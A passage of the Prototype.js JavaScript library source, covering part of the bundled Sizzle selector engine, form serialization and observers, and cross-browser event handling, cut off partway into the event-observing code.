		ATTR: /\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
		TAG: /^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,
		CHILD: /:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,
		POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,
		PSEUDO: /:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/
	},
	leftMatch: {},
	attrMap: {
		"class": "className",
		"for": "htmlFor"
	},
	attrHandle: {
		href: function(elem){
			return elem.getAttribute("href");
		}
	},
	relative: {
		"+": function(checkSet, part, isXML){
			var isPartStr = typeof part === "string",
				isTag = isPartStr && !/\W/.test(part),
				isPartStrNotTag = isPartStr && !isTag;

			if ( isTag && !isXML ) {
				part = part.toUpperCase();
			}

			for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {
				if ( (elem = checkSet[i]) ) {
					while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}

					checkSet[i] = isPartStrNotTag || elem && elem.nodeName === part ?
						elem || false :
						elem === part;
				}
			}

			if ( isPartStrNotTag ) {
				Sizzle.filter( part, checkSet, true );
			}
		},
		">": function(checkSet, part, isXML){
			var isPartStr = typeof part === "string";

			if ( isPartStr && !/\W/.test(part) ) {
				part = isXML ? part : part.toUpperCase();

				for ( var i = 0, l = checkSet.length; i < l; i++ ) {
					var elem = checkSet[i];
					if ( elem ) {
						var parent = elem.parentNode;
						checkSet[i] = parent.nodeName === part ? parent : false;
					}
				}
			} else {
				for ( var i = 0, l = checkSet.length; i < l; i++ ) {
					var elem = checkSet[i];
					if ( elem ) {
						checkSet[i] = isPartStr ?
							elem.parentNode :
							elem.parentNode === part;
					}
				}

				if ( isPartStr ) {
					Sizzle.filter( part, checkSet, true );
				}
			}
		},
		"": function(checkSet, part, isXML){
			var doneName = done++, checkFn = dirCheck;

			if ( !/\W/.test(part) ) {
				var nodeCheck = part = isXML ? part : part.toUpperCase();
				checkFn = dirNodeCheck;
			}

			checkFn("parentNode", part, doneName, checkSet, nodeCheck, isXML);
		},
		"~": function(checkSet, part, isXML){
			var doneName = done++, checkFn = dirCheck;

			if ( typeof part === "string" && !/\W/.test(part) ) {
				var nodeCheck = part = isXML ? part : part.toUpperCase();
				checkFn = dirNodeCheck;
			}

			checkFn("previousSibling", part, doneName, checkSet, nodeCheck, isXML);
		}
	},
	find: {
		ID: function(match, context, isXML){
			if ( typeof context.getElementById !== "undefined" && !isXML ) {
				var m = context.getElementById(match[1]);
				return m ? [m] : [];
			}
		},
		NAME: function(match, context, isXML){
			if ( typeof context.getElementsByName !== "undefined" ) {
				var ret = [], results = context.getElementsByName(match[1]);

				for ( var i = 0, l = results.length; i < l; i++ ) {
					if ( results[i].getAttribute("name") === match[1] ) {
						ret.push( results[i] );
					}
				}

				return ret.length === 0 ? null : ret;
			}
		},
		TAG: function(match, context){
			return context.getElementsByTagName(match[1]);
		}
	},
	preFilter: {
		CLASS: function(match, curLoop, inplace, result, not, isXML){
			match = " " + match[1].replace(/\\/g, "") + " ";

			if ( isXML ) {
				return match;
			}

			for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {
				if ( elem ) {
					if ( not ^ (elem.className && (" " + elem.className + " ").indexOf(match) >= 0) ) {
						if ( !inplace )
							result.push( elem );
					} else if ( inplace ) {
						curLoop[i] = false;
					}
				}
			}

			return false;
		},
		ID: function(match){
			return match[1].replace(/\\/g, "");
		},
		TAG: function(match, curLoop){
			for ( var i = 0; curLoop[i] === false; i++ ){}
			return curLoop[i] && isXML(curLoop[i]) ? match[1] : match[1].toUpperCase();
		},
		CHILD: function(match){
			if ( match[1] == "nth" ) {
				var test = /(-?)(\d*)n((?:\+|-)?\d*)/.exec(
					match[2] == "even" && "2n" || match[2] == "odd" && "2n+1" ||
					!/\D/.test( match[2] ) && "0n+" + match[2] || match[2]);

				match[2] = (test[1] + (test[2] || 1)) - 0;
				match[3] = test[3] - 0;
			}

			match[0] = done++;

			return match;
		},
		ATTR: function(match, curLoop, inplace, result, not, isXML){
			var name = match[1].replace(/\\/g, "");

			if ( !isXML && Expr.attrMap[name] ) {
				match[1] = Expr.attrMap[name];
			}

			if ( match[2] === "~=" ) {
				match[4] = " " + match[4] + " ";
			}

			return match;
		},
		PSEUDO: function(match, curLoop, inplace, result, not){
			if ( match[1] === "not" ) {
				if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) {
					match[3] = Sizzle(match[3], null, null, curLoop);
				} else {
					var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
					if ( !inplace ) {
						result.push.apply( result, ret );
					}
					return false;
				}
			} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {
				return true;
			}

			return match;
		},
		POS: function(match){
			match.unshift( true );
			return match;
		}
	},
	filters: {
		enabled: function(elem){
			return elem.disabled === false && elem.type !== "hidden";
		},
		disabled: function(elem){
			return elem.disabled === true;
		},
		checked: function(elem){
			return elem.checked === true;
		},
		selected: function(elem){
			elem.parentNode.selectedIndex;
			return elem.selected === true;
		},
		parent: function(elem){
			return !!elem.firstChild;
		},
		empty: function(elem){
			return !elem.firstChild;
		},
		has: function(elem, i, match){
			return !!Sizzle( match[3], elem ).length;
		},
		header: function(elem){
			return /h\d/i.test( elem.nodeName );
		},
		text: function(elem){
			return "text" === elem.type;
		},
		radio: function(elem){
			return "radio" === elem.type;
		},
		checkbox: function(elem){
			return "checkbox" === elem.type;
		},
		file: function(elem){
			return "file" === elem.type;
		},
		password: function(elem){
			return "password" === elem.type;
		},
		submit: function(elem){
			return "submit" === elem.type;
		},
		image: function(elem){
			return "image" === elem.type;
		},
		reset: function(elem){
			return "reset" === elem.type;
		},
		button: function(elem){
			return "button" === elem.type || elem.nodeName.toUpperCase() === "BUTTON";
		},
		input: function(elem){
			return /input|select|textarea|button/i.test(elem.nodeName);
		}
	},
	setFilters: {
		first: function(elem, i){
			return i === 0;
		},
		last: function(elem, i, match, array){
			return i === array.length - 1;
		},
		even: function(elem, i){
			return i % 2 === 0;
		},
		odd: function(elem, i){
			return i % 2 === 1;
		},
		lt: function(elem, i, match){
			return i < match[3] - 0;
		},
		gt: function(elem, i, match){
			return i > match[3] - 0;
		},
		nth: function(elem, i, match){
			return match[3] - 0 == i;
		},
		eq: function(elem, i, match){
			return match[3] - 0 == i;
		}
	},
	filter: {
		PSEUDO: function(elem, match, i, array){
			var name = match[1], filter = Expr.filters[ name ];

			if ( filter ) {
				return filter( elem, i, match, array );
			} else if ( name === "contains" ) {
				return (elem.textContent || elem.innerText || "").indexOf(match[3]) >= 0;
			} else if ( name === "not" ) {
				var not = match[3];

				for ( var i = 0, l = not.length; i < l; i++ ) {
					if ( not[i] === elem ) {
						return false;
					}
				}

				return true;
			}
		},
		CHILD: function(elem, match){
			var type = match[1], node = elem;
			switch (type) {
				case 'only':
				case 'first':
					while ( (node = node.previousSibling) )  {
						if ( node.nodeType === 1 ) return false;
					}
					if ( type == 'first') return true;
					node = elem;
				case 'last':
					while ( (node = node.nextSibling) )  {
						if ( node.nodeType === 1 ) return false;
					}
					return true;
				case 'nth':
					var first = match[2], last = match[3];

					if ( first == 1 && last == 0 ) {
						return true;
					}

					var doneName = match[0],
						parent = elem.parentNode;

					if ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) {
						var count = 0;
						for ( node = parent.firstChild; node; node = node.nextSibling ) {
							if ( node.nodeType === 1 ) {
								node.nodeIndex = ++count;
							}
						}
						parent.sizcache = doneName;
					}

					var diff = elem.nodeIndex - last;
					if ( first == 0 ) {
						return diff == 0;
					} else {
						return ( diff % first == 0 && diff / first >= 0 );
					}
			}
		},
		ID: function(elem, match){
			return elem.nodeType === 1 && elem.getAttribute("id") === match;
		},
		TAG: function(elem, match){
			return (match === "*" && elem.nodeType === 1) || elem.nodeName === match;
		},
		CLASS: function(elem, match){
			return (" " + (elem.className || elem.getAttribute("class")) + " ")
				.indexOf( match ) > -1;
		},
		ATTR: function(elem, match){
			var name = match[1],
				result = Expr.attrHandle[ name ] ?
					Expr.attrHandle[ name ]( elem ) :
					elem[ name ] != null ?
						elem[ name ] :
						elem.getAttribute( name ),
				value = result + "",
				type = match[2],
				check = match[4];

			return result == null ?
				type === "!=" :
				type === "=" ?
				value === check :
				type === "*=" ?
				value.indexOf(check) >= 0 :
				type === "~=" ?
				(" " + value + " ").indexOf(check) >= 0 :
				!check ?
				value && result !== false :
				type === "!=" ?
				value != check :
				type === "^=" ?
				value.indexOf(check) === 0 :
				type === "$=" ?
				value.substr(value.length - check.length) === check :
				type === "|=" ?
				value === check || value.substr(0, check.length + 1) === check + "-" :
				false;
		},
		POS: function(elem, match, i, array){
			var name = match[2], filter = Expr.setFilters[ name ];

			if ( filter ) {
				return filter( elem, i, match, array );
			}
		}
	}
};

var origPOS = Expr.match.POS;

for ( var type in Expr.match ) {
	Expr.match[ type ] = new RegExp( Expr.match[ type ].source + /(?![^\[]*\])(?![^\(]*\))/.source );
	Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source );
}

var makeArray = function(array, results) {
	array = Array.prototype.slice.call( array, 0 );

	if ( results ) {
		results.push.apply( results, array );
		return results;
	}

	return array;
};

try {
	Array.prototype.slice.call( document.documentElement.childNodes, 0 );

} catch(e){
	makeArray = function(array, results) {
		var ret = results || [];

		if ( toString.call(array) === "[object Array]" ) {
			Array.prototype.push.apply( ret, array );
		} else {
			if ( typeof array.length === "number" ) {
				for ( var i = 0, l = array.length; i < l; i++ ) {
					ret.push( array[i] );
				}
			} else {
				for ( var i = 0; array[i]; i++ ) {
					ret.push( array[i] );
				}
			}
		}

		return ret;
	};
}

var sortOrder;

if ( document.documentElement.compareDocumentPosition ) {
	sortOrder = function( a, b ) {
		if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {
			if ( a == b ) {
				hasDuplicate = true;
			}
			return 0;
		}

		var ret = a.compareDocumentPosition(b) & 4 ? -1 : a === b ? 0 : 1;
		if ( ret === 0 ) {
			hasDuplicate = true;
		}
		return ret;
	};
} else if ( "sourceIndex" in document.documentElement ) {
	sortOrder = function( a, b ) {
		if ( !a.sourceIndex || !b.sourceIndex ) {
			if ( a == b ) {
				hasDuplicate = true;
			}
			return 0;
		}

		var ret = a.sourceIndex - b.sourceIndex;
		if ( ret === 0 ) {
			hasDuplicate = true;
		}
		return ret;
	};
} else if ( document.createRange ) {
	sortOrder = function( a, b ) {
		if ( !a.ownerDocument || !b.ownerDocument ) {
			if ( a == b ) {
				hasDuplicate = true;
			}
			return 0;
		}

		var aRange = a.ownerDocument.createRange(), bRange = b.ownerDocument.createRange();
		aRange.setStart(a, 0);
		aRange.setEnd(a, 0);
		bRange.setStart(b, 0);
		bRange.setEnd(b, 0);
		var ret = aRange.compareBoundaryPoints(Range.START_TO_END, bRange);
		if ( ret === 0 ) {
			hasDuplicate = true;
		}
		return ret;
	};
}

(function(){
	var form = document.createElement("div"),
		id = "script" + (new Date).getTime();
	form.innerHTML = "<a name='" + id + "'/>";

	var root = document.documentElement;
	root.insertBefore( form, root.firstChild );

	if ( !!document.getElementById( id ) ) {
		Expr.find.ID = function(match, context, isXML){
			if ( typeof context.getElementById !== "undefined" && !isXML ) {
				var m = context.getElementById(match[1]);
				return m ? m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ? [m] : undefined : [];
			}
		};

		Expr.filter.ID = function(elem, match){
			var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
			return elem.nodeType === 1 && node && node.nodeValue === match;
		};
	}

	root.removeChild( form );
	root = form = null; // release memory in IE
})();

(function(){

	var div = document.createElement("div");
	div.appendChild( document.createComment("") );

	if ( div.getElementsByTagName("*").length > 0 ) {
		Expr.find.TAG = function(match, context){
			var results = context.getElementsByTagName(match[1]);

			if ( match[1] === "*" ) {
				var tmp = [];

				for ( var i = 0; results[i]; i++ ) {
					if ( results[i].nodeType === 1 ) {
						tmp.push( results[i] );
					}
				}

				results = tmp;
			}

			return results;
		};
	}

	div.innerHTML = "<a href='#'></a>";
	if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" &&
			div.firstChild.getAttribute("href") !== "#" ) {
		Expr.attrHandle.href = function(elem){
			return elem.getAttribute("href", 2);
		};
	}

	div = null; // release memory in IE
})();

if ( document.querySelectorAll ) (function(){
	var oldSizzle = Sizzle, div = document.createElement("div");
	div.innerHTML = "<p class='TEST'></p>";

	if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) {
		return;
	}

	Sizzle = function(query, context, extra, seed){
		context = context || document;

		if ( !seed && context.nodeType === 9 && !isXML(context) ) {
			try {
				return makeArray( context.querySelectorAll(query), extra );
			} catch(e){}
		}

		return oldSizzle(query, context, extra, seed);
	};

	for ( var prop in oldSizzle ) {
		Sizzle[ prop ] = oldSizzle[ prop ];
	}

	div = null; // release memory in IE
})();

if ( document.getElementsByClassName && document.documentElement.getElementsByClassName ) (function(){
	var div = document.createElement("div");
	div.innerHTML = "<div class='test e'></div><div class='test'></div>";

	if ( div.getElementsByClassName("e").length === 0 )
		return;

	div.lastChild.className = "e";

	if ( div.getElementsByClassName("e").length === 1 )
		return;

	Expr.order.splice(1, 0, "CLASS");
	Expr.find.CLASS = function(match, context, isXML) {
		if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) {
			return context.getElementsByClassName(match[1]);
		}
	};

	div = null; // release memory in IE
})();

function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
	var sibDir = dir == "previousSibling" && !isXML;
	for ( var i = 0, l = checkSet.length; i < l; i++ ) {
		var elem = checkSet[i];
		if ( elem ) {
			if ( sibDir && elem.nodeType === 1 ){
				elem.sizcache = doneName;
				elem.sizset = i;
			}
			elem = elem[dir];
			var match = false;

			while ( elem ) {
				if ( elem.sizcache === doneName ) {
					match = checkSet[elem.sizset];
					break;
				}

				if ( elem.nodeType === 1 && !isXML ){
					elem.sizcache = doneName;
					elem.sizset = i;
				}

				if ( elem.nodeName === cur ) {
					match = elem;
					break;
				}

				elem = elem[dir];
			}

			checkSet[i] = match;
		}
	}
}

function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
	var sibDir = dir == "previousSibling" && !isXML;
	for ( var i = 0, l = checkSet.length; i < l; i++ ) {
		var elem = checkSet[i];
		if ( elem ) {
			if ( sibDir && elem.nodeType === 1 ) {
				elem.sizcache = doneName;
				elem.sizset = i;
			}
			elem = elem[dir];
			var match = false;

			while ( elem ) {
				if ( elem.sizcache === doneName ) {
					match = checkSet[elem.sizset];
					break;
				}

				if ( elem.nodeType === 1 ) {
					if ( !isXML ) {
						elem.sizcache = doneName;
						elem.sizset = i;
					}
					if ( typeof cur !== "string" ) {
						if ( elem === cur ) {
							match = true;
							break;
						}

					} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {
						match = elem;
						break;
					}
				}

				elem = elem[dir];
			}

			checkSet[i] = match;
		}
	}
}

var contains = document.compareDocumentPosition ?  function(a, b){
	return a.compareDocumentPosition(b) & 16;
} : function(a, b){
	return a !== b && (a.contains ? a.contains(b) : true);
};

var isXML = function(elem){
	return elem.nodeType === 9 && elem.documentElement.nodeName !== "HTML" ||
		!!elem.ownerDocument && elem.ownerDocument.documentElement.nodeName !== "HTML";
};

var posProcess = function(selector, context){
	var tmpSet = [], later = "", match,
		root = context.nodeType ? [context] : context;

	while ( (match = Expr.match.PSEUDO.exec( selector )) ) {
		later += match[0];
		selector = selector.replace( Expr.match.PSEUDO, "" );
	}

	selector = Expr.relative[selector] ? selector + "*" : selector;

	for ( var i = 0, l = root.length; i < l; i++ ) {
		Sizzle( selector, root[i], tmpSet );
	}

	return Sizzle.filter( later, tmpSet );
};


window.Sizzle = Sizzle;

})();

;(function(engine) {
  var extendElements = Prototype.Selector.extendElements;

  function select(selector, scope) {
    return extendElements(engine(selector, scope || document));
  }

  function match(element, selector) {
    return engine.matches(selector, [element]).length == 1;
  }

  Prototype.Selector.engine = engine;
  Prototype.Selector.select = select;
  Prototype.Selector.match = match;
})(Sizzle);

window.Sizzle = Prototype._original_property;
delete Prototype._original_property;

var Form = {
  reset: function(form) {
    form = $(form);
    form.reset();
    return form;
  },

  serializeElements: function(elements, options) {
    if (typeof options != 'object') options = { hash: !!options };
    else if (Object.isUndefined(options.hash)) options.hash = true;
    var key, value, submitted = false, submit = options.submit, accumulator, initial;

    if (options.hash) {
      initial = {};
      accumulator = function(result, key, value) {
        if (key in result) {
          if (!Object.isArray(result[key])) result[key] = [result[key]];
          result[key].push(value);
        } else result[key] = value;
        return result;
      };
    } else {
      initial = '';
      accumulator = function(result, key, value) {
        return result + (result ? '&' : '') + encodeURIComponent(key) + '=' + encodeURIComponent(value);
      }
    }

    return elements.inject(initial, function(result, element) {
      if (!element.disabled && element.name) {
        key = element.name; value = $(element).getValue();
        if (value != null && element.type != 'file' && (element.type != 'submit' || (!submitted &&
            submit !== false && (!submit || key == submit) && (submitted = true)))) {
          result = accumulator(result, key, value);
        }
      }
      return result;
    });
  }
};

Form.Methods = {
  serialize: function(form, options) {
    return Form.serializeElements(Form.getElements(form), options);
  },

  getElements: function(form) {
    var elements = $(form).getElementsByTagName('*'),
        element,
        arr = [ ],
        serializers = Form.Element.Serializers;
    for (var i = 0; element = elements[i]; i++) {
      arr.push(element);
    }
    return arr.inject([], function(elements, child) {
      if (serializers[child.tagName.toLowerCase()])
        elements.push(Element.extend(child));
      return elements;
    })
  },

  getInputs: function(form, typeName, name) {
    form = $(form);
    var inputs = form.getElementsByTagName('input');

    if (!typeName && !name) return $A(inputs).map(Element.extend);

    for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
      var input = inputs[i];
      if ((typeName && input.type != typeName) || (name && input.name != name))
        continue;
      matchingInputs.push(Element.extend(input));
    }

    return matchingInputs;
  },

  disable: function(form) {
    form = $(form);
    Form.getElements(form).invoke('disable');
    return form;
  },

  enable: function(form) {
    form = $(form);
    Form.getElements(form).invoke('enable');
    return form;
  },

  findFirstElement: function(form) {
    var elements = $(form).getElements().findAll(function(element) {
      return 'hidden' != element.type && !element.disabled;
    });
    var firstByIndex = elements.findAll(function(element) {
      return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
    }).sortBy(function(element) { return element.tabIndex }).first();

    return firstByIndex ? firstByIndex : elements.find(function(element) {
      return /^(?:input|select|textarea)$/i.test(element.tagName);
    });
  },

  focusFirstElement: function(form) {
    form = $(form);
    var element = form.findFirstElement();
    if (element) element.activate();
    return form;
  },

  request: function(form, options) {
    form = $(form), options = Object.clone(options || { });

    var params = options.parameters, action = form.readAttribute('action') || '';
    if (action.blank()) action = window.location.href;
    options.parameters = form.serialize(true);

    if (params) {
      if (Object.isString(params)) params = params.toQueryParams();
      Object.extend(options.parameters, params);
    }

    if (form.hasAttribute('method') && !options.method)
      options.method = form.method;

    return new Ajax.Request(action, options);
  }
};

/*--------------------------------------------------------------------------*/


Form.Element = {
  focus: function(element) {
    $(element).focus();
    return element;
  },

  select: function(element) {
    $(element).select();
    return element;
  }
};

Form.Element.Methods = {

  serialize: function(element) {
    element = $(element);
    if (!element.disabled && element.name) {
      var value = element.getValue();
      if (value != undefined) {
        var pair = { };
        pair[element.name] = value;
        return Object.toQueryString(pair);
      }
    }
    return '';
  },

  getValue: function(element) {
    element = $(element);
    var method = element.tagName.toLowerCase();
    return Form.Element.Serializers[method](element);
  },

  setValue: function(element, value) {
    element = $(element);
    var method = element.tagName.toLowerCase();
    Form.Element.Serializers[method](element, value);
    return element;
  },

  clear: function(element) {
    $(element).value = '';
    return element;
  },

  present: function(element) {
    return $(element).value != '';
  },

  activate: function(element) {
    element = $(element);
    try {
      element.focus();
      if (element.select && (element.tagName.toLowerCase() != 'input' ||
          !(/^(?:button|reset|submit)$/i.test(element.type))))
        element.select();
    } catch (e) { }
    return element;
  },

  disable: function(element) {
    element = $(element);
    element.disabled = true;
    return element;
  },

  enable: function(element) {
    element = $(element);
    element.disabled = false;
    return element;
  }
};

/*--------------------------------------------------------------------------*/

var Field = Form.Element;

var $F = Form.Element.Methods.getValue;

/*--------------------------------------------------------------------------*/

Form.Element.Serializers = (function() {
  function input(element, value) {
    switch (element.type.toLowerCase()) {
      case 'checkbox':
      case 'radio':
        return inputSelector(element, value);
      default:
        return valueSelector(element, value);
    }
  }

  function inputSelector(element, value) {
    if (Object.isUndefined(value))
      return element.checked ? element.value : null;
    else element.checked = !!value;
  }

  function valueSelector(element, value) {
    if (Object.isUndefined(value)) return element.value;
    else element.value = value;
  }

  function select(element, value) {
    if (Object.isUndefined(value))
      return (element.type === 'select-one' ? selectOne : selectMany)(element);

    var opt, currentValue, single = !Object.isArray(value);
    for (var i = 0, length = element.length; i < length; i++) {
      opt = element.options[i];
      currentValue = this.optionValue(opt);
      if (single) {
        if (currentValue == value) {
          opt.selected = true;
          return;
        }
      }
      else opt.selected = value.include(currentValue);
    }
  }

  function selectOne(element) {
    var index = element.selectedIndex;
    return index >= 0 ? optionValue(element.options[index]) : null;
  }

  function selectMany(element) {
    var values, length = element.length;
    if (!length) return null;

    for (var i = 0, values = []; i < length; i++) {
      var opt = element.options[i];
      if (opt.selected) values.push(optionValue(opt));
    }
    return values;
  }

  function optionValue(opt) {
    return Element.hasAttribute(opt, 'value') ? opt.value : opt.text;
  }

  return {
    input:         input,
    inputSelector: inputSelector,
    textarea:      valueSelector,
    select:        select,
    selectOne:     selectOne,
    selectMany:    selectMany,
    optionValue:   optionValue,
    button:        valueSelector
  };
})();

/*--------------------------------------------------------------------------*/


Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
  initialize: function($super, element, frequency, callback) {
    $super(callback, frequency);
    this.element   = $(element);
    this.lastValue = this.getValue();
  },

  execute: function() {
    var value = this.getValue();
    if (Object.isString(this.lastValue) && Object.isString(value) ?
        this.lastValue != value : String(this.lastValue) != String(value)) {
      this.callback(this.element, value);
      this.lastValue = value;
    }
  }
});

Form.Element.Observer = Class.create(Abstract.TimedObserver, {
  getValue: function() {
    return Form.Element.getValue(this.element);
  }
});

Form.Observer = Class.create(Abstract.TimedObserver, {
  getValue: function() {
    return Form.serialize(this.element);
  }
});

/*--------------------------------------------------------------------------*/

Abstract.EventObserver = Class.create({
  initialize: function(element, callback) {
    this.element  = $(element);
    this.callback = callback;

    this.lastValue = this.getValue();
    if (this.element.tagName.toLowerCase() == 'form')
      this.registerFormCallbacks();
    else
      this.registerCallback(this.element);
  },

  onElementEvent: function() {
    var value = this.getValue();
    if (this.lastValue != value) {
      this.callback(this.element, value);
      this.lastValue = value;
    }
  },

  registerFormCallbacks: function() {
    Form.getElements(this.element).each(this.registerCallback, this);
  },

  registerCallback: function(element) {
    if (element.type) {
      switch (element.type.toLowerCase()) {
        case 'checkbox':
        case 'radio':
          Event.observe(element, 'click', this.onElementEvent.bind(this));
          break;
        default:
          Event.observe(element, 'change', this.onElementEvent.bind(this));
          break;
      }
    }
  }
});

Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
  getValue: function() {
    return Form.Element.getValue(this.element);
  }
});

Form.EventObserver = Class.create(Abstract.EventObserver, {
  getValue: function() {
    return Form.serialize(this.element);
  }
});
(function() {

  var Event = {
    KEY_BACKSPACE: 8,
    KEY_TAB:       9,
    KEY_RETURN:   13,
    KEY_ESC:      27,
    KEY_LEFT:     37,
    KEY_UP:       38,
    KEY_RIGHT:    39,
    KEY_DOWN:     40,
    KEY_DELETE:   46,
    KEY_HOME:     36,
    KEY_END:      35,
    KEY_PAGEUP:   33,
    KEY_PAGEDOWN: 34,
    KEY_INSERT:   45,

    cache: {}
  };

  var docEl = document.documentElement;
  var MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED = 'onmouseenter' in docEl
    && 'onmouseleave' in docEl;



  var isIELegacyEvent = function(event) { return false; };

  if (window.attachEvent) {
    if (window.addEventListener) {
      isIELegacyEvent = function(event) {
        return !(event instanceof window.Event);
      };
    } else {
      isIELegacyEvent = function(event) { return true; };
    }
  }

  var _isButton;

  function _isButtonForDOMEvents(event, code) {
    return event.which ? (event.which === code + 1) : (event.button === code);
  }

  var legacyButtonMap = { 0: 1, 1: 4, 2: 2 };
  function _isButtonForLegacyEvents(event, code) {
    return event.button === legacyButtonMap[code];
  }

  function _isButtonForWebKit(event, code) {
    switch (code) {
      case 0: return event.which == 1 && !event.metaKey;
      case 1: return event.which == 2 || (event.which == 1 && event.metaKey);
      case 2: return event.which == 3;
      default: return false;
    }
  }

  if (window.attachEvent) {
    if (!window.addEventListener) {
      _isButton = _isButtonForLegacyEvents;
    } else {
      _isButton = function(event, code) {
        return isIELegacyEvent(event) ? _isButtonForLegacyEvents(event, code) :
         _isButtonForDOMEvents(event, code);
      }
    }
  } else if (Prototype.Browser.WebKit) {
    _isButton = _isButtonForWebKit;
  } else {
    _isButton = _isButtonForDOMEvents;
  }

  function isLeftClick(event)   { return _isButton(event, 0) }

  function isMiddleClick(event) { return _isButton(event, 1) }

  function isRightClick(event)  { return _isButton(event, 2) }

  function element(event) {
    event = Event.extend(event);

    var node = event.target, type = event.type,
     currentTarget = event.currentTarget;

    if (currentTarget && currentTarget.tagName) {
      if (type === 'load' || type === 'error' ||
        (type === 'click' && currentTarget.tagName.toLowerCase() === 'input'
          && currentTarget.type === 'radio'))
            node = currentTarget;
    }

    if (node.nodeType == Node.TEXT_NODE)
      node = node.parentNode;

    return Element.extend(node);
  }

  function findElement(event, expression) {
    var element = Event.element(event);

    if (!expression) return element;
    while (element) {
      if (Object.isElement(element) && Prototype.Selector.match(element, expression)) {
        return Element.extend(element);
      }
      element = element.parentNode;
    }
  }

  function pointer(event) {
    return { x: pointerX(event), y: pointerY(event) };
  }

  function pointerX(event) {
    var docElement = document.documentElement,
     body = document.body || { scrollLeft: 0 };

    return event.pageX || (event.clientX +
      (docElement.scrollLeft || body.scrollLeft) -
      (docElement.clientLeft || 0));
  }

  function pointerY(event) {
    var docElement = document.documentElement,
     body = document.body || { scrollTop: 0 };

    return  event.pageY || (event.clientY +
       (docElement.scrollTop || body.scrollTop) -
       (docElement.clientTop || 0));
  }


  function stop(event) {
    Event.extend(event);
    event.preventDefault();
    event.stopPropagation();

    event.stopped = true;
  }


  Event.Methods = {
    isLeftClick:   isLeftClick,
    isMiddleClick: isMiddleClick,
    isRightClick:  isRightClick,

    element:     element,
    findElement: findElement,

    pointer:  pointer,
    pointerX: pointerX,
    pointerY: pointerY,

    stop: stop
  };

  var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
    m[name] = Event.Methods[name].methodize();
    return m;
  });

  if (window.attachEvent) {
    function _relatedTarget(event) {
      var element;
      switch (event.type) {
        case 'mouseover':
        case 'mouseenter':
          element = event.fromElement;
          break;
        case 'mouseout':
        case 'mouseleave':
          element = event.toElement;
          break;
        default:
          return null;
      }
      return Element.extend(element);
    }

    var additionalMethods = {
      stopPropagation: function() { this.cancelBubble = true },
      preventDefault:  function() { this.returnValue = false },
      inspect: function() { return '[object Event]' }
    };

    Event.extend = function(event, element) {
      if (!event) return false;

      if (!isIELegacyEvent(event)) return event;

      if (event._extendedByPrototype) return event;
      event._extendedByPrototype = Prototype.emptyFunction;

      var pointer = Event.pointer(event);

      Object.extend(event, {
        target: event.srcElement || element,
        relatedTarget: _relatedTarget(event),
        pageX:  pointer.x,
        pageY:  pointer.y
      });

      Object.extend(event, methods);
      Object.extend(event, additionalMethods);

      return event;
    };
  } else {
    Event.extend = Prototype.K;
  }

  if (window.addEventListener) {
    Event.prototype = window.Event.prototype || document.createEvent('HTMLEvents').__proto__;
    Object.extend(Event.prototype, methods);
  }

  function _createResponder(element, eventName, handler) {
    var registry = Element.retrieve(element, 'prototype_event_registry');

    if (Object.isUndefined(registry)) {
      CACHE.push(element);
      registry = Element.retrieve(element, 'prototype_event_registry', $H());
    }

    var respondersForEvent = registry.get(eventName);
    if (Object.isUndefined(respondersForEvent)) {
      respondersForEvent = [];
      registry.set(eventName, respondersForEvent);
    }

    if (respondersForEvent.pluck('handler').include(handler)) return false;

    var responder;
    if (eventName.include(":")) {
      responder = function(event) {
        if (Object.isUndefined(event.eventName))
          return false;

        if (event.eventName !== eventName)
          return false;

        Event.extend(event, element);
        handler.call(element, event);
      };
    } else {
      if (!MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED &&
       (eventName === "mouseenter" || eventName === "mouseleave")) {
        if (eventName === "mouseenter" || eventName === "mouseleave") {
          responder = function(event) {
            Event.extend(event, element);

            var parent = event.relatedTarget;
            while (parent && parent !== element) {
              try { parent = parent.parentNode; }
              catch(e) { parent = element; }
            }

            if (parent === element) return;

            handler.call(element, event);
          };
        }
      } else {
        responder = function(event) {
          Event.extend(event, element);
          handler.call(element, event);
        };
      }
    }

    responder.handler = handler;
    respondersForEvent.push(responder);
    return responder;
  }

  function _destroyCache() {
    for (var i = 0, length = CACHE.length; i < length; i++) {
      Event.stopObserving(CACHE[i]);
      CACHE[i] = null;
    }
  }

  var CACHE = [];

  if (Prototype.Browser.IE)
    window.attachEvent('onunload', _destroyCache);

  if (Prototype.Browser.WebKit)
    window.addEventListener('unload', Prototype.emptyFunction, false);


  var _getDOMEventName = Prototype.K,
      translations = { mouseenter: "mouseover", mouseleave: "mouseout" };

  if (!MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED) {
    _getDOMEventName = function(eventName) {
      return (translations[eventName] || eventName);
    };
  }

  function observe(element, eventName, handler) {
